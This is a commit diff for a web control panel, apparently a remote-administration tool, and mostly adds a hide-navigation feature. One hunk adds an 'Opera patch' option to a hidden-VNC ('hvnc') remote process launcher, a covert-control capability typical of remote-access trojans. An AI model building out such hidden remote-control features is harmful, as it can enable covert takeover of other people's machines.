let users opera patch everything and add hiding to nav bar

This commit is contained in:
KingKDot
2026-04-17 18:43:16 -05:00
parent 4a062e3a19
commit d41607782a
11 changed files with 223 additions and 21 deletions
+8 -2
View File
@@ -1108,7 +1108,12 @@ import { checkFeatureAccess } from "./feature-gate.js";
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
<label class="block text-xs text-slate-400 mb-1">Arguments (optional)</label>
<input id="hvncCustomExeArgs" type="text" placeholder="--flag value"
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-4 focus:outline-none focus:border-violet-500" />
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
<label class="flex items-center gap-2 text-xs text-slate-400 mb-4 cursor-pointer select-none">
<input id="hvncCustomExeOperaPatch" type="checkbox"
class="accent-violet-500 w-3.5 h-3.5 rounded" />
Apply Opera patch (stub GetCursorInfo)
</label>
<div class="flex justify-end gap-2">
<button id="hvncCustomExeCancel" class="button ghost text-sm">Cancel</button>
<button id="hvncCustomExeRun" class="button primary text-sm">Run</button>
@@ -1126,7 +1131,8 @@ import { checkFeatureAccess } from "./feature-gate.js";
if (!exePath) return;
const args = argsInput.value.trim();
const cmd = args ? `"${exePath}" ${args}` : `"${exePath}"`;
sendCmd("hvnc_start_process", { path: cmd });
const operaPatch = document.getElementById("hvncCustomExeOperaPatch").checked;
sendCmd("hvnc_start_process", { path: cmd, opera_patch: operaPatch });
close();
}
document.getElementById("hvncCustomExeRun").addEventListener("click", run);
+99
View File
@@ -2609,3 +2609,102 @@ body.sb-collapsed .sb-link-child {
.sb-badge:not(.hidden) {
display: inline-flex;
}
/* ============================================================
NAV HIDE / REVEAL
============================================================ */
/* ---- Shared reveal pill ---- */
#nav-reveal-btn {
position: fixed;
z-index: 60;
display: none; /* hidden until nav-hidden */
align-items: center;
justify-content: center;
width: 28px;
height: 28px;
border-radius: 8px;
background: rgba(15, 23, 42, 0.85);
border: 1px solid rgba(255, 255, 255, 0.1);
backdrop-filter: blur(12px);
-webkit-backdrop-filter: blur(12px);
color: #64748b;
font-size: 0.7rem;
cursor: pointer;
opacity: 0;
transition: opacity 0.25s ease, color 0.15s, background 0.15s, transform 0.2s ease;
pointer-events: none;
}
#nav-reveal-btn:hover {
background: rgba(30, 41, 59, 0.95);
color: #e2e8f0;
transform: scale(1.08);
}
#nav-reveal-btn:focus-visible {
outline: 2px solid #3b82f6;
outline-offset: 2px;
}
/* ---- Topbar hidden state ---- */
body.nav-hidden:not(.sb-ready) #top-nav {
transform: translateY(-100%);
pointer-events: none;
transition: transform 0.3s var(--sb-ease, cubic-bezier(0.4, 0, 0.2, 1));
}
body.nav-hidden:not(.sb-ready) #nav-reveal-btn {
display: flex;
opacity: 1;
pointer-events: auto;
top: 8px;
left: 8px;
}
/* ---- Sidebar hidden state ---- */
body.sb-ready.nav-hidden {
padding-left: 0 !important;
transition: padding-left 0.3s var(--sb-ease);
}
body.sb-ready.nav-hidden #top-nav {
transform: translateX(calc(-1 * var(--sb-w) - 2px));
pointer-events: none;
transition: transform 0.3s var(--sb-ease), width var(--sb-speed) var(--sb-ease);
}
body.sb-ready.nav-hidden #sb-mobile-bar {
transform: translateY(-100%);
pointer-events: none;
transition: transform 0.3s var(--sb-ease);
}
body.sb-ready.nav-hidden #nav-reveal-btn {
display: flex;
opacity: 1;
pointer-events: auto;
top: 8px;
left: 8px;
}
/* ---- Reveal-on-hover edge strip (sidebar mode) ---- */
body.sb-ready.nav-hidden #nav-reveal-btn {
transition: opacity 0.3s ease 0.1s, color 0.15s, background 0.15s, transform 0.2s ease;
}
/* Tooltip on reveal button */
#nav-reveal-btn::after {
content: attr(data-tooltip);
position: absolute;
left: calc(100% + 8px);
top: 50%;
transform: translateY(-50%);
white-space: nowrap;
font-size: 0.7rem;
color: #94a3b8;
background: rgba(15, 23, 42, 0.92);
border: 1px solid rgba(255, 255, 255, 0.08);
border-radius: 6px;
padding: 4px 8px;
pointer-events: none;
opacity: 0;
transition: opacity 0.15s;
}
#nav-reveal-btn:hover::after {
opacity: 1;
}
+5 -1
View File
@@ -16,7 +16,11 @@ const host = document.getElementById("top-nav");
if (host) {
const refs = mountNav(host);
showCertBannerIfNeeded(document.getElementById("sb-mobile-bar") || host);
const { applyAdaptiveNavLayout } = createAdaptiveNavController(host, refs);
const { applyAdaptiveNavLayout, navHide } = createAdaptiveNavController(host, refs);
if (refs.navHideBtn && navHide) {
refs.navHideBtn.addEventListener("click", () => navHide.setHidden(true));
}
const path = window.location.pathname;
const activeMap = {
+54 -4
View File
@@ -1,8 +1,52 @@
import { NAV_MODE_KEY } from "./template.js";
const LS_KEY = "sb_collapsed";
const NAV_HIDDEN_KEY = "nav_hidden";
const MOBILE_BP = 768;
/* ──────────────────────────────────────────────
NAV HIDE / REVEAL — shared across both modes
────────────────────────────────────────────── */
function createNavHideController() {
let hidden = localStorage.getItem(NAV_HIDDEN_KEY) === "true";
// Create reveal button (injected into body)
const revealBtn = document.createElement("button");
revealBtn.id = "nav-reveal-btn";
revealBtn.setAttribute("aria-label", "Show navigation");
const isMac = /Mac|iPhone|iPad/.test(navigator.platform || "");
revealBtn.dataset.tooltip = `Show nav ${isMac ? "⌘" : "Ctrl"}+\\`;
revealBtn.innerHTML = '<i class="fa-solid fa-angles-right" style="font-size:0.65rem"></i>';
document.body.appendChild(revealBtn);
function setHidden(val) {
hidden = val;
localStorage.setItem(NAV_HIDDEN_KEY, String(val));
document.body.classList.toggle("nav-hidden", val);
}
function toggle() {
setHidden(!hidden);
}
// Apply persisted state
if (hidden) document.body.classList.add("nav-hidden");
// Click the reveal button → show nav
revealBtn.addEventListener("click", () => { if (hidden) setHidden(false); });
// Keyboard shortcut: Ctrl+\ (or Cmd+\ on Mac)
document.addEventListener("keydown", (e) => {
if ((e.ctrlKey || e.metaKey) && e.key === "\\") {
e.preventDefault();
toggle();
}
});
return { toggle, isHidden: () => hidden, setHidden };
}
/* ──────────────────────────────────────────────
TOPBAR DROPDOWN LOGIC
────────────────────────────────────────────── */
@@ -241,9 +285,15 @@ function createSidebarController(host, refs) {
export function createAdaptiveNavController(host, refs) {
const mode = localStorage.getItem(NAV_MODE_KEY);
if (mode === "sidebar") {
return createSidebarController(host, refs);
}
return createTopbarController(host, refs);
const navCtrl = mode === "sidebar"
? createSidebarController(host, refs)
: createTopbarController(host, refs);
const hideCtrl = createNavHideController();
return {
applyAdaptiveNavLayout: navCtrl.applyAdaptiveNavLayout,
navHide: hideCtrl,
};
}
@@ -161,6 +161,11 @@ function mountTopbar(host) {
title="Logout" aria-label="Logout">
<i class="fa-solid fa-right-from-bracket text-rose-300 group-hover:text-rose-200 transition-colors"></i>
</button>
<button id="nav-hide-btn"
class="inline-flex items-center justify-center w-9 h-9 rounded-lg bg-slate-900/50 border border-slate-800 text-slate-500 hover:text-slate-200 hover:bg-slate-800 transition-colors"
title="Hide navigation (Ctrl+\\)" aria-label="Hide navigation">
<i class="fa-solid fa-eye-slash" style="font-size:0.75rem"></i>
</button>
</div>
</div>
</div>
@@ -180,6 +185,7 @@ function mountTopbar(host) {
usernameDisplay: document.getElementById("username-display"),
roleBadge: document.getElementById("role-badge"),
enrollmentBadge: document.getElementById("enrollment-badge"),
navHideBtn: document.getElementById("nav-hide-btn"),
};
// Add individual link refs
@@ -293,6 +299,11 @@ function mountSidebar(host) {
<i class="fa-solid fa-right-from-bracket sb-icon"></i>
<span class="sb-text">Logout</span>
</button>
<button id="nav-hide-btn" class="sb-link"
title="Hide navigation (Ctrl+\\)" aria-label="Hide navigation">
<i class="fa-solid fa-eye-slash sb-icon" style="font-size:0.75rem"></i>
<span class="sb-text">Hide Nav</span>
</button>
</div>
`;
@@ -329,6 +340,7 @@ function mountSidebar(host) {
usernameDisplay: document.getElementById("username-display"),
roleBadge: document.getElementById("role-badge"),
enrollmentBadge: document.getElementById("enrollment-badge"),
navHideBtn: document.getElementById("nav-hide-btn"),
};
// Convenience refs expected by nav.js
+11
View File
@@ -8,6 +8,7 @@ import {
const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds";
const NAV_MODE_KEY = "sb_mode";
const NAV_HIDDEN_KEY = "nav_hidden";
const usernameEl = document.getElementById("settings-username");
const roleEl = document.getElementById("settings-role");
@@ -302,6 +303,11 @@ function loadPrefs() {
if (sidebarBtn && topbarBtn) {
updateNavLayoutButtons(navMode === "topbar" ? "topbar" : "sidebar", sidebarBtn, topbarBtn);
}
const navHiddenInput = document.getElementById("pref-nav-hidden");
if (navHiddenInput) {
navHiddenInput.checked = localStorage.getItem(NAV_HIDDEN_KEY) === "true";
}
}
async function loadCurrentUser() {
@@ -389,6 +395,11 @@ function savePrefs(event) {
showMessage("Preferences saved.");
}
const navHiddenInput = document.getElementById("pref-nav-hidden");
if (navHiddenInput) {
localStorage.setItem(NAV_HIDDEN_KEY, String(navHiddenInput.checked));
document.body.classList.toggle("nav-hidden", navHiddenInput.checked);
}
}
async function saveSecurityPolicy(event) {
+9
View File
@@ -353,6 +353,15 @@
<p class="text-xs text-slate-500 mt-1">Changes apply immediately on save.</p>
</div>
<div class="space-y-2">
<p class="text-xs font-semibold uppercase tracking-wider text-slate-500">Visibility</p>
<label class="flex items-center gap-2 text-sm">
<input id="pref-nav-hidden" type="checkbox" class="h-4 w-4 accent-indigo-500" />
<span>Hide navigation bar</span>
</label>
<p class="text-xs text-slate-500">Press <kbd class="px-1 py-0.5 rounded bg-slate-800 border border-slate-700 text-slate-400 text-[10px]">Ctrl+\</kbd> to toggle anytime.</p>
</div>
<button
type="submit"
class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-violet-700 hover:bg-violet-600 transition-colors text-white text-sm font-medium"